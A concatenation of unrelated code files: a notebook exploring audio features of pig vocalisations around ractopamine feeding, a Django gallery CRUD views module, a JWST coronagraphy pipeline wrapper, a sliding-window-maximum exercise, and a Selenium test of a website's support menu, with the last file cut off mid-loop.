      df.duplicated(subset=['datetime', 'ala', 'grupo']).value_counts(),
      sep='\n')
df.drop_duplicates(subset=['datetime', 'ala', 'grupo'], inplace=True)
# Rebuilding dataframe index
df.set_index('datetime', inplace=True)

# %%
print(df.shape)

# %% [markdown]
# ## Visualizing distribution of sample dates

# %%
df_tmp = pd.DataFrame(df['file_name'].resample('1D').count())
df_tmp['count'] = df_tmp['file_name']
del df_tmp['file_name']
df_tmp['rac'] = False
df_tmp.loc['2020-09-22':, 'rac'] = True  # type: ignore

fig = plt.figure(figsize=(10, 10))
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.barplot(y=df_tmp.index, x=df_tmp['count'], hue=df_tmp['rac'])
fig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_files_byday.png',
            bbox_inches='tight',
            transparent=True)
plt.draw()

df_tmp = pd.DataFrame(df['file_name'].resample('1H').count())
df_tmp['count'] = df_tmp['file_name']
del df_tmp['file_name']
df_tmp['rac'] = False
df_tmp.loc['2020-09-22':, 'rac'] = True  # type: ignore
df_tmp = df_tmp.reset_index()
df_tmp['hour'] = df_tmp['datetime'].dt.hour

fig = plt.figure(figsize=(10, 10))
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.barplot(y=df_tmp['hour'], x=df_tmp['count'], hue=df_tmp['rac'], orient='h')
fig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_files_byhour.png',
            bbox_inches='tight',
            transparent=True)
plt.draw()

# %% [markdown]
# There are some data gaps, especially in the pre-ractopamine subset.
#
# There needs to be a resampling to rebalance classes, prioritizing samples
# that are closer to the start of the RAC provision.

# %% [markdown]
# ## Visualizing waveform and spectrogram of random sample

# %%
file_name = np.random.choice(df['file_name'])
x, sr = lr.load(file_name)

fig, ax = plt.subplots(2, 1, sharex=False, sharey=False, figsize=(16, 9))
lrdisp.waveplot(
    x,
    sr=sr,
    ax=ax[0],
)
img = lrdisp.specshow(lr.amplitude_to_db(np.abs(lr.stft(x)), ref=np.max),
                      y_axis='log',
                      x_axis='time',
                      ax=ax[1])
fig.colorbar(img, ax=ax[1], format="%+2.0f dB")
fig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_audio_sample.png',
            bbox_inches='tight',
            transparent=True)
plt.draw()

# %% [markdown]
# # Visualizing basic dataset properties

# %% [markdown]
# ### Shape

# %%
print("Shape:", df.shape)
print(df.loc[:, 'rac'].groupby(df.loc[:, 'rac']).count())
print(df.info())

# %% [markdown]
# Due to the high amount of extracted features, there must be a selection
# of the most relevant ones for further analysis with advanced methods
# (e.g., SOM)

# %% [markdown]
# ### Class distribution

# %%
df_melt = pd.melt(df, value_vars=['rac'], value_name='ractopamine')
fig = plt.figure(figsize=(10, 10))
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
ax = sns.countplot(data=df_melt, x='ractopamine', hue='ractopamine')

for p in ax.patches:
    ax.annotate(f'\n{p.get_height()}', (p.get_x() + 0.2, p.get_height()),
                ha='center',
                va='top',
                color='white',
                size=18)
fig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_rac_distribution.png',
            bbox_inches='tight',
            transparent=True)
plt.draw()

# %% [markdown]
# There's a substantial imbalance between the subsets.
# It's not an obstacle for this analysis. However, for the next steps,
# it may be desirable to perform an upsampling/downsampling on the dataset.

# %% [markdown]
# ### Zero Crossings
# The Zero crossing rate (ZCR) measures the number of times that the time
# domain signal changes its sign. Even though it is computed in the time
# domain, it describes the amount of high-frequency energy in the signal
# (i.e., 'brightness') and correlates strongly with the spectral centroid
# ZCR has also proven to be quite discriminative for classes of percussion
# instruments.

# %%
print(df.loc[:, ['zero_crossing_rate', 'zero_crossings']].describe())
df_melt = pd.melt(df, id_vars=['rac'], value_vars=['zero_crossing_rate'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    kde=True,
    rug=True,
    row='variable',
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_zero_crossing_rac.png',
            bbox_inches='tight',
            transparent=True)

df_tmp = df.reset_index()
df_tmp['hour'] = df_tmp['datetime'].dt.hour
df_tmp['day_quarter'] = df_tmp['hour'] // 6
df_melt = pd.melt(df_tmp,
                  id_vars=['day_quarter'],
                  value_vars=['zero_crossing_rate'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='day_quarter',
    palette='vlag',
    kde=True,
    rug=True,
    row='variable',
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_zero_crossing_day.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# The distribution of the zero crossing seems slightly different after the
# ractopamine provision.
#
# As noted by Ricardo, this may be related to an increase in the animals'
# vocal activity.

# %% [markdown]
# ### Spectrogram and Mel-Spectrogram
# There exists only one Fourier transform of a given signal.
# However, there is an infinite number of time-frequency representations.
# The most popular one is the spectrogram, defined as the Fourier transform of
# successive signal frames. Frames are widely used in audio processing
# algorithms. They are portions of the signal with given time localizations.
#
# Standard window shapes are Gaussian, Hamming, Hanning, or rectangular and
# typical frame durations are from 20 ms to 100 ms in audio processing. As a
# rule of thumb, rectangular windows should not be used in practice, except
# under special circumstances. From frames, it is easy to build short time
# Fourier transforms (STFTs) as the FT of successive frames.
#
# Spectrograms are energy representations and they are defined as the squared
# modulus of the STFT.
#
# The mel-spectrogram is an spectrogram, converted to the Mel scale

# %%
print(df.loc[:, ['spectrogram', 'mel_spectrogram']].describe())
df_melt = pd.melt(df,
                  id_vars=['rac'],
                  value_vars=['spectrogram', 'mel_spectrogram'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    col='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectrogram_rac.png',
            bbox_inches='tight',
            transparent=True)

df_tmp = df.reset_index()
df_tmp['hour'] = df_tmp['datetime'].dt.hour
df_tmp['day_quarter'] = df_tmp['hour'] // 6
df_melt = pd.melt(df_tmp,
                  id_vars=['day_quarter'],
                  value_vars=['spectrogram', 'mel_spectrogram'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='day_quarter',
    palette='vlag',
    kde=True,
    rug=True,
    col='variable',
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectrogram_day.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# No relevant differences in the distributions were observed.
#
# These features are discard candidates.
#
# Further analysis required with correlation heatmap.

# %% [markdown]
# ### Harmonics and Perceptual Shock Wave
# Harmonics are characteristichs that represent the sound color
# Perceptrual shock wave represents the sound rhythm and emotion

# %%
print(df.loc[:, ['harmonics', 'perceptual_shock_wave']].describe())
df_melt = pd.melt(df,
                  id_vars=['rac'],
                  value_vars=['harmonics', 'perceptual_shock_wave'])
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    col='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_harmonics_rac.png',
            bbox_inches='tight',
            transparent=True)

df_tmp = df.reset_index()
df_tmp['hour'] = df_tmp['datetime'].dt.hour
df_tmp['day_quarter'] = df_tmp['hour'] // 6
df_melt = pd.melt(df_tmp,
                  id_vars=['day_quarter'],
                  value_vars=['harmonics', 'perceptual_shock_wave'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='day_quarter',
    palette='vlag',
    kde=True,
    rug=True,
    col='variable',
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_harmonics_day.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# No relevant differences in the distributions were observed.
#
# These features are discard candidates.
#
# Further analysis required with correlation heatmap.

# %% [markdown]
# ### Spectral Centroids
# In addition to the rough spectrum described by the MFCCs and bandwise
# energy descriptors, more simple spectral shape features are also useful.
# These include the first four moments of the spectrum, i.e.,
# spectral centroid, spectralspread, spectral skewness, and spectral kurtosis.
#
# The spectral centroid is the "center-of-mass" of the analysed audio file.

# %%
print(df.loc[:, ['spectral_centroids']].describe())
df_melt = pd.melt(df, id_vars=['rac'], value_vars=['spectral_centroids'])
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    col='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_centroids_rac.png',
            bbox_inches='tight',
            transparent=True)

df_tmp = df.reset_index()
df_tmp['hour'] = df_tmp['datetime'].dt.hour
df_tmp['day_quarter'] = df_tmp['hour'] // 6
df_melt = pd.melt(df_tmp,
                  id_vars=['day_quarter'],
                  value_vars=['spectral_centroids'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='day_quarter',
    palette='vlag',
    kde=True,
    rug=True,
    col='variable',
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_centroids_day.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# The distribution of the spectral centroids seems to have a displacement to
# higher values, after the provision of ractopamine to the animals.
#
# This seems to suggest that the most intense peaks of audio were at higher
# frequencies, with rac=True.

# %% [markdown]
# ### Spectral Centroids (Delta and Accelerate)

# %%

print(df.loc[:, ['spectral_centroids_delta', 'spectral_centroids_accelerate']].
      describe())
df_melt = pd.melt(
    df,
    id_vars=['rac'],
    value_vars=['spectral_centroids_delta', 'spectral_centroids_accelerate'])
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    col='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(
    f'./output_{FILE_PREFIX}/{FILE_PREFIX}'
    '_spectral_centroids_derivatives_rac.png',
    bbox_inches='tight',
    transparent=True)

df_tmp = df.reset_index()
df_tmp['hour'] = df_tmp['datetime'].dt.hour
df_tmp['day_quarter'] = df_tmp['hour'] // 6
df_melt = pd.melt(
    df_tmp,
    id_vars=['day_quarter'],
    value_vars=['spectral_centroids_delta', 'spectral_centroids_accelerate'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='day_quarter',
    palette='vlag',
    kde=True,
    rug=True,
    col='variable',
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(
    f'./output_{FILE_PREFIX}/{FILE_PREFIX}'
    '_spectral_centroids_derivatives_day.png',
    bbox_inches='tight',
    transparent=True)

# %% [markdown]
# No relevant differences in the distributions were observed.
#
# These features are discard candidates.
#
# Further analysis required with correlation heatmap.

# %% [markdown]
# ### Chroma features
# The chroma vector is a perceptually motivated feature vector using the
# concept of chroma in Shepard's helix representation of musical pitch
# perception. According to Shepard [584], the perception of pitch with respect
# to a musical context can be graphically represented by using a continually
# cyclic helix that has two dimensions, chroma and height. Chroma refers to the
# position of a musical pitch within an octave that corresponds to a cycle of
# the helix.

# %%

# Visualizing single-file chromagram
chroma = lr.feature.chroma_stft(y=x, sr=sr, n_chroma=12, n_fft=2048)
fig, ax = plt.subplots(figsize=(16, 9))
img = lr.display.specshow(chroma, y_axis='chroma', x_axis='time', ax=ax)
fig.colorbar(img, ax=ax)
ax.set(title='Chromagram')
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_chromagram.png',
            bbox_inches='tight',
            transparent=True)

chroma_cols = [
    'chroma1',
    'chroma2',
    'chroma3',
    'chroma4',
    'chroma5',
    'chroma6',
    'chroma7',
    'chroma8',
    'chroma9',
    'chroma10',
    'chroma11',
    'chroma12',
]
print(df.loc[:, chroma_cols].describe())
df_melt = pd.melt(df, id_vars=['rac'], value_vars=chroma_cols)
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    row='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_chroma_features_rac.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# Chroma features may be very useful for distinguishing musical tones.
# However, related research papers didn't seem to use it for pig audio
# analysis. With this, they are discard candidates.
#
# Still, there were some interesting changes in distribution for chroma7,
# chroma8, chroma9, chroma11, and chroma12, which should be further analyzed.

# %%
plt.figure(figsize=(12, 12))
sns.heatmap(df.loc[:, chroma_cols + ['rac']].corr(),
            vmin=-1.0,
            vmax=1.0,
            cmap="coolwarm",
            center=0.0,
            robust=True,
            annot=True,
            fmt='.1f')
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_chroma_features_corr.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# As expected, the chroma features are highly correlated with their neighbors.
#
# When comparing to our class (rac), the hightest absolute correlation between
# it and a chroma feature is 0.15 which is not very substantial.

# %% [markdown]
# ### Tempo (BMP)
# Estimate mean of the tempo (beats per minute), as extracted by librosa.

# %%
print(df.loc[:, ['tempo_bpm']].describe())
df_melt = pd.melt(df, id_vars=['rac'], value_vars=['tempo_bpm'])
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    col='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_tempo_rac.png',
            bbox_inches='tight',
            transparent=True)

df_tmp = df.reset_index()
df_tmp['hour'] = df_tmp['datetime'].dt.hour
df_tmp['day_quarter'] = df_tmp['hour'] // 6
df_melt = pd.melt(df_tmp, id_vars=['day_quarter'], value_vars=['tempo_bpm'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='day_quarter',
    palette='vlag',
    kde=True,
    rug=True,
    col='variable',
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_tempo_day.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# This feature, similarly to the chroma features, is mostly used with music
# analysis. No relevant differences in the distributions were observed.
#
# This feature is a discard candidate.
#
# Further analysis required with correlation heatmap.

# %% [markdown]
# ### Spectral Rolloff (85%)
# Spectral roll-off is defined as the frequency index R below which a certain
# fraction (85%) of the spectral energy resides.

# %%
print(df.loc[:, ['spectral_rolloff']].describe())
df_melt = pd.melt(df, id_vars=['rac'], value_vars=['spectral_rolloff'])
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    col='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_rolloff_rac.png',
            bbox_inches='tight',
            transparent=True)

df_tmp = df.reset_index()
df_tmp['hour'] = df_tmp['datetime'].dt.hour
df_tmp['day_quarter'] = df_tmp['hour'] // 6
df_melt = pd.melt(df_tmp,
                  id_vars=['day_quarter'],
                  value_vars=['spectral_rolloff'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='day_quarter',
    palette='vlag',
    kde=True,
    rug=True,
    col='variable',
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_rolloff_day.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# A slight displacement can be seem between the two groups of files.
# This could reinforce the hypothesis drawn from the spectral centroid
# analysis, as the 85% threshold is at a higher frequency after RAC provision.

# %% [markdown]
# ### Spectral Flux
# The spectral flux, also known as the delta spectrum magnitude, is a measure
# of local spectral change. It is defined as the squared norm of the
# frame-to-frame spectral difference.

# %%
print(df.loc[:, ['spectral_flux']].describe())
df_melt = pd.melt(df, id_vars=['rac'], value_vars=['spectral_flux'])
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    col='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_flux_rac.png',
            bbox_inches='tight',
            transparent=True)

df_tmp = df.reset_index()
df_tmp['hour'] = df_tmp['datetime'].dt.hour
df_tmp['day_quarter'] = df_tmp['hour'] // 6
df_melt = pd.melt(df_tmp,
                  id_vars=['day_quarter'],
                  value_vars=['spectral_flux'])
sns.set(style="whitegrid",
        palette=sns.color_palette("muted", n_colors=6, desat=1.0))
sns.displot(
    data=df_melt,
    x='value',
    hue='day_quarter',
    palette='vlag',
    kde=True,
    rug=True,
    col='variable',
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_flux_day.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# There has been no noticeable major changes in the distribution.
# This suggests that the number of "peaks"/onsets is similar after the rac
# provision.
# This feature is a discard candidate.

# %% [markdown]
# ### Spectral Bandwidth
# The bandwidth of the spectrum is described by spectral spread
#
# The spectral bandwidth 1 at frame t is computed by:
#
# (sum_k S[k, t] * (freq[k, t] - centroid[t])**p)**(1/p)

# %%
print(df.loc[:, [
    'spectral_bandwidth_2', 'spectral_bandwidth_3', 'spectral_bandwidth_4'
]].describe())
df_melt = pd.melt(df,
                  id_vars=['rac'],
                  value_vars=[
                      'spectral_bandwidth_2', 'spectral_bandwidth_3',
                      'spectral_bandwidth_4'
                  ])
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    col='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(
    f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_bandwidths_rac.png',
    bbox_inches='tight',
    transparent=True)

# %% [markdown]
# No relevant differences in the distributions were observed.
#
# These features are discard candidates.
#
# Further analysis required with correlation heatmap.

# %% [markdown]
# ### Correlation matrix of subset of features

# %%
plt.figure(figsize=(12, 12))
sns.heatmap(df.loc[:, [
    'zero_crossing_rate', 'spectrogram', 'mel_spectrogram', 'harmonics',
    'perceptual_shock_wave', 'spectral_centroids', 'tempo_bpm',
    'spectral_rolloff', 'spectral_flux', 'spectral_bandwidth_2',
    'spectral_bandwidth_3', 'spectral_bandwidth_4', 'rac'
]].corr(),
            vmin=-1.0,
            vmax=1.0,
            cmap="coolwarm",
            center=0.0,
            robust=True,
            annot=True,
            fmt='.1f')
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_corr.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# The spectral centroids feature had the highest correlation with 'rac',
# between the analyzed features.

# %% [markdown]
# ### MFCC
# Mel-frequency cepstral coefficients (MFCCs) describe the rough shape of
# the signal spectrum and are widely used in speech recognition [536].
# Similarly, they are often encountered in percussion transcription algorithms.
# Usually the coefficients are calculated in short (about 20 ms) partially
# overlapping frames over the analysed segment, and 5 to 15 coefficients are
# retained in each frame. Instead of using these directly as features,
# typically the mean and variance of each coefficient over the segment are
# used. In addition, the first- and second-order temporal differences of the
# coefficients, and the means and variances of these, are commonly used as
# features.

# %%

# Visualizing single-file mfccs
mfccs = lr.feature.mfcc(y=x, sr=sr, n_mfcc=20)
fig, ax = plt.subplots(figsize=(16, 9))
img = lr.display.specshow(mfccs, x_axis='time', ax=ax)
fig.colorbar(img, ax=ax)
ax.set(title='MFCC')
plt.draw()
fig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_mfcc.png')

mfcc_cols = [
    'mfcc0',
    'mfcc1',
    'mfcc2',
    'mfcc3',
    'mfcc4',
    'mfcc5',
    'mfcc6',
    'mfcc7',
    'mfcc8',
    'mfcc9',
    'mfcc10',
    'mfcc11',
    'mfcc12',
    'mfcc13',
    'mfcc14',
    'mfcc15',
    'mfcc16',
    'mfcc17',
    'mfcc18',
    'mfcc19',
]
print(df.loc[:, mfcc_cols].describe())
df_melt = pd.melt(df, id_vars=['rac'], value_vars=mfcc_cols)
sns.displot(
    data=df_melt,
    x='value',
    hue='rac',
    row='variable',
    kde=True,
    rug=True,
    height=9,
    aspect=1,
)
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_mfccs_rac.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# From related papers, the MFCCs are some of the most representative features.
# The main question related the MFCCs is the number of coefficients that will
# be used. For most use cases, 12 or 13 coefficients seem to be enough.
#
# TODO Study and write detailed description of MFCC in monograph.
#
# mfcc14 through mfcc19 are discard candidates.

# %%
plt.figure(figsize=(12, 12))
sns.heatmap(df.loc[:, mfcc_cols + ['rac']].corr(),
            vmin=-1.0,
            vmax=1.0,
            cmap="coolwarm",
            center=0.0,
            robust=True,
            annot=True,
            fmt='.1f')
plt.draw()
plt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_mfccs_corr.png',
            bbox_inches='tight',
            transparent=True)

# %% [markdown]
# Initially the highest absolute correlation with 'rac' is onm mfcc9, mfcc15,
# and mfcc16.
#
# The coefficients by themselfs seem to be relatively independent of each
# other, taking into account only the correlation matrix.
# This may be an indicator of high representativity of the dataset.

# %% [markdown]
# ### Visualizing discard candidates

# %%
discard_features = [
    'zero_crossings',
    'spectrogram',
    'mel_spectrogram',
    'harmonics',
    'perceptual_shock_wave',
    'tempo_bpm',
    'spectral_flux',
    'spectral_bandwidth_2',
    'spectral_bandwidth_3',
    'spectral_bandwidth_4',
] + chroma_cols + [
    'mfcc14',
    'mfcc15',
    'mfcc16',
    'mfcc17',
    'mfcc18',
    'mfcc19',
    'mfcc14_delta',
    'mfcc15_delta',
    'mfcc16_delta',
    'mfcc17_delta',
    'mfcc18_delta',
    'mfcc19_delta',
    'mfcc14_accelerate',
    'mfcc15_accelerate',
    'mfcc16_accelerate',
    'mfcc17_accelerate',
    'mfcc18_accelerate',
    'mfcc19_accelerate',
]

print('# of discarded features:', len(discard_features))
print(
    '# of remaining features:',
    df.loc[:, 'zero_crossing_rate':].shape[1] -  # type: ignore
    len(discard_features))

# %% [markdown]
# # Final comments
# After analyzing the extracted features for our dataset, the following
# features are discard candidates:
#
# - spectrogram';
# - mel-spectrogram';
# - harmonics';
# - perceptual shock wave;
# - chroma features;
# - tempo (bpm);
# - spectral flux;
# - spectral bandwidth;
# - mfcc14, ..., mfcc19.
#
# For now, the remaining features shall be used for further analysis and
# data visualization methods, such as SOMs.
#
# If necessary, more features, such as deltas and accelerates, can be
# discarded, for performance reasons. The relevance of these features should
# be further analyzed.

# %%


# galerias/views.py
from django.shortcuts import render, HttpResponse, redirect
from .models import *
from .forms import *

# Create your views here

def index(request):
    context = {} # Aqui van las variables para la plantilla
    return render(request, 'index.html', context)

def ver_cuadro(request):
    cuadros = Cuadro.objects.all()

    return render(request, 'ver_cuadro.html', {"cuadros":cuadros})

def ver_galeria(request):
    galerias = Galeria.objects.all()

    return render(request, 'ver_galeria.html', {"galerias":galerias})

def crear_cuadro(request):
    if request.method == 'POST':
        form = CuadroForm(request.POST, request.FILES)

        if form.is_valid():
            form.save()
            return redirect('ver_cuadro')
    else:
        form = CuadroForm()

    return render(request, 'crear_cuadro.html', {"form":form})

def crear_galeria(request):
    if request.method == 'POST':
        form = GaleriaForm(request.POST)

        if form.is_valid():
            form.save()
            return redirect('ver_galeria')
    else:
        form = GaleriaForm()

    return render(request, 'crear_galeria.html', {"form":form})

def borrar_cuadro(request, n):
    c = Cuadro.objects.get(id=n)
    c.delete()

    return redirect('ver_cuadro')

def borrar_galeria(request, n):
    g = Galeria.objects.get(id=n)
    g.delete()

    return redirect('ver_galeria')

def modificar_cuadro(request, n):
    c = Cuadro.objects.get(id=n)
    form = CuadroForm(instance=c)

    if request.method == 'POST':
        form = CuadroForm(request.POST, request.FILES, instance=c)

        if form.is_valid():
            form.save()

            return redirect('ver_cuadro')

    return render(request, 'modificar_cuadro.html', {"form":form, "n":n})

def modificar_galeria(request, n):
    g = Galeria.objects.get(id=n)
    form = GaleriaForm(instance=g)

    if request.method == 'POST':
        form = GaleriaForm(request.POST, instance=g)

        if form.is_valid():
            form.save()

            return redirect('ver_galeria')

    return render(request, 'modificar_galeria.html', {"form":form, "n":n})


from refactored_coron3_pipeline import RefactoredCoron3Pipeline

import os
from glob import glob
import time
import sys

import pandas as pd

import astropy.io.fits as fits
from astropy.table import Table

import jwst
from jwst.pipeline import Image2Pipeline
from jwst.associations.lib.rules_level3 import Asn_Lv3Coron
from jwst.associations import AssociationPool, AssociationRegistry
from jwst.associations.mkpool import from_cmdline, mkpool
from jwst.associations import generate

from ..util.util_main import get_dataset_dir, get_main_dir
from ..util.util_type import INSTRUME

class CoronPipeline():
    def __init__(self, proposal_id: str, instrume: INSTRUME):
        print(
            f"coron_pipeline.py script activated. Current JWST Version: {jwst.__version__}")
        os.environ["CRDS_PATH"] = '/home/bariskurtkaya/crds_cache/jwst_ops'
        os.environ["CRDS_SERVER_URL"] = 'https://jwst-crds.stsci.edu'

        self.instrume = instrume
        self.proposal_id = proposal_id

        self.dataset_dir = get_dataset_dir()
        self.dataset_dir = self.dataset_dir + \
            f'/{self.instrume}/{self.proposal_id}/mastDownload/JWST/'

    def pipeline_stage2(self, rateints_check: bool = False):

        self.detector = 'nrcalong'

        rateints_files = glob(os.path.join(
            self.dataset_dir, f'**/*{self.detector}_rateints.fits'))
        if rateints_files == []:
            self.detector = 'nrca2'
            rateints_files = glob(os.path.join(
                self.dataset_dir, f'**/*{self.detector}_rateints.fits'))

        if rateints_check:
            self.rateints_check(rateints_files=rateints_files)

        batch_size = 4
        img2pipeline = Image2Pipeline()
        img2pipeline.save_results = True

        for index in range(0, len(rateints_files), batch_size):
            for rateints_files_batch in rateints_files[index:index+batch_size]:
                output_dir = '/'.join(rateints_files_batch.split('/')
                                      [:-1]) + '/'

                img2pipeline.output_dir = output_dir
                img2pipeline(rateints_files_batch)

        del rateints_files, img2pipeline, batch_size

    def pipeline_stage3(self, asn_check: bool = False, calints_check: bool = False):
        calints_files = glob(os.path.join(
            self.dataset_dir, f'**/*{self.detector}_calints.fits'))

        if calints_check:
            self.calints_check(calints_files=calints_files)

        asn_files = self.asn_file_creation(calints_files=calints_files)

        if asn_check:
            self.asn_check(asn_files=asn_files)

        coron3_pipeline = RefactoredCoron3Pipeline()
        coron3_pipeline.output_dir = self.dataset_dir
        coron3_pipeline.save_results = True

        for idx, asn in enumerate(asn_files):
            asn_dict = {}
            for key, value in zip(asn.keys(), asn.values()):
                asn_dict[key] = value

            coron3_pipeline.process(asn_dict)

        del asn_files, calints_files, asn_dict, coron3_pipeline

    def calints_check(self, calints_files):
        print(
            f'Calints control: \n Total Calints: {len(calints_files)} \n First Calints info:')
        calints_sample = fits.open(calints_files[0])
        calints_sample.info()

    def asn_check(self, asn_files):
        print(
            f'ASN control: \n Total ASN Files: {len(asn_files)} \n First ASN info: {asn_files[0]}')

    def rateints_check(self, rateints_files):
        print(
            f'Rateints control: \n Total Rateints: {len(rateints_files)} \n First Rateints info: {rateints_files[0]}')

    def asn_file_creation(self, calints_files):
        pool = mkpool(calints_files)
        pool_df = pool.to_pandas()
        pool_df.to_csv(
            f'calints_{self.instrume}_{self.proposal_id}_pool.csv', index=False)

        asn_coron_rule_dir = get_main_dir() + '/scripts' + '/asn_coron_rule.py'

        registry = AssociationRegistry(
            [asn_coron_rule_dir], include_default=False)

        asn_files = generate(pool, registry)

        return asn_files

if __name__ == "__main__":

    instrume: INSTRUME = 'NIRCAM'
    proposal_id: str = '1386'

    coron = CoronPipeline(proposal_id=proposal_id, instrume=instrume)

    coron.pipeline_stage2()
    coron.pipeline_stage3()


from collections import deque

def slidingWindow(arr, k):
    queue = deque([0])
    for i in range(1, k):
        while queue and arr[queue[-1]] < arr[i]:
            queue.pop()
        queue.append(i)
    print(arr[queue[0]])
    for i in range(k, len(arr)):
        while queue and arr[queue[-1]] <= arr[i]:
            queue.pop()
        queue.append(i)
        if queue[0] <= i - k:
            queue.popleft()
        print(arr[queue[0]])

if __name__ == "__main__":
    n = int(input())
    arr = [int(input()) for _ in range(n)]
    k = int(input())
    slidingWindow(arr, k)

4 Basic Data Structures/1 Stacks and Queues/06 Sliding Window Maximum.py


import time

import pytest

from pages.header_section import support_nav_section
from tests import config

class TestSupportMenu:
    @pytest.fixture()
    def support(self, driver):
        return support_nav_section.SupportSection(driver)

    # Print all Support categories and test their links
    def test_applications_nav_menu(self, support):
        support.navigate_to_kemet_page()
        time.sleep(2)
        support.accept_cookies()
        support.hover_over_support()
        time.sleep(2)
        print('\nSupport:')
        displayed_contact_us_elems_title = support.get_displayed_support_contact_us_titles()
        support_apps_elems = []
        for title in displayed_contact_us_elems_title:
            title_among_possible = False
            if title.text in config.possible_support_column_1:
                title_among_possible = True
            assert title_among_possible, "Titles don't match"
            support_apps_elems.append((title.get_attribute("href"), title.text))
            print(title.text)
        for support_1_elem in support_apps_elems:
            support._visit2(support_1_elem[0])
            time.sleep(2)
            assert support.get_current_url() == support_1_elem[0]

        support.hover_over_support()

        displayed_supply_management_elems_title = support.get_displayed_technology_supply_management_elems_titles()
        for title in displayed_supply_management_elems_title:
